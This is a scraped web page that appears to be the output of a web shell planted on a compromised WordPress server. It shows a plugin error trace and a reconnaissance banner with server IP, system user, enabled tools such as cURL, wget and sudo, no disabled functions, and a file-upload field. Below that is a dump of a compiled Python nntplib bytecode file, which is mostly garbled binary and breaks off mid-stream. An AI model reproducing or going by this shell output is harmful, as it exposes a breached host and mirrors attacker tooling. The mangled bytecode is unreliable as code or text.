Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /snap/core20/2769/lib/python3.8/__pycache__/ |
Upload File : |
U
yi�� � @ s� d Z ddlZddlZddlZddlZddlZddlZzddlZW n ek
rX dZ Y nX dZ ddl
mZ ddlm
Z
ddd d
ddd
dgZdZG dd� de�ZG dd � d e�ZG dd
� d
e�ZG dd� de�ZG dd� de�ZG dd
� d
e�ZdZdZddddddddd d!d"d#hZd$d%d&d'd(d)d*gZd)d*d+�Zd,Ze�d-d.d/d0d1g�Ze�d2d3d4d5g�Zd6d� Zd7d8� Z dmd9d:�Z!dnd;d<�Z"dod=d>�Z#e �r�d?d@� Z$G dAdB� dB�Z%G dCd� de%�Z&e �r�G dDdE� dEe%�Z'e�(dE� e)dFk�r�ddl*Z*e*j+dGdH�Z,e,j-dIdJdKdLdM� e,j-dNdOdPdQdM� e,j-dRdSdTe.dUeef dV� e,j-dWdXdYe.dZdV� e,j-d[d\d]dd^d_� e,�/� Z0e0j1Z1e0j�s�e1dTk�r|eZ1e&e0j2e1d`�Z3ne1dTk�r�eZ1e'e0j2e1d`�Z3e3�4� Z5dae5k�r�e3�6� e3�7e0j7�\Z8Z9Z:Z;Z<e=dbe<dce9dde:dee;� dfdg� Z>e?e.e;�e0j@ dh �Z:e3�Ae:e;�\Z8ZBeBD ]Z\ZCZDeeDd% ��Edidh�d ZFeeDd$ �ZGe.eDd* �ZHe=dj�IeCe>eFdk�e>eGdl�eH�� �q e3�J� dS )pa� An NNTP client class based on:
- RFC 977: Network News Transfer Protocol
- RFC 2980: Common NNTP Extensions
- RFC 3977: Network News Transfer Protocol (version 2)
Example:
>>> from nntplib import NNTP
>>> s = NNTP('news')
>>> resp, count, first, last, name = s.group('comp.lang.python')
>>> print('Group', name, 'has', count, 'articles, range', first, 'to', last)
Group comp.lang.python has 51 articles, range 5770 to 5821
>>> resp, subs = s.xhdr('subject', '{0}-{1}'.format(first, last))
>>> resp = s.quit()
>>>
Here 'resp' is the server response line.
Error responses are turned into exceptions.
To post an article from a file:
>>> f = open(filename, 'rb') # file containing article, including header
>>> resp = s.post(f)
>>>
For descriptions of all methods, read the comments in the code below.
Note that all arguments and return values representing article numbers
are strings, not numbers, since they are rarely used for calculations.
� NFT)�
decode_header)�_GLOBAL_DEFAULT_TIMEOUT�NNTP� NNTPError�NNTPReplyError�NNTPTemporaryError�NNTPPermanentError�NNTPProtocolError�
NNTPDataErrorr i c @ s e Zd ZdZdd� ZdS )r z%Base class for all nntplib exceptionsc G s>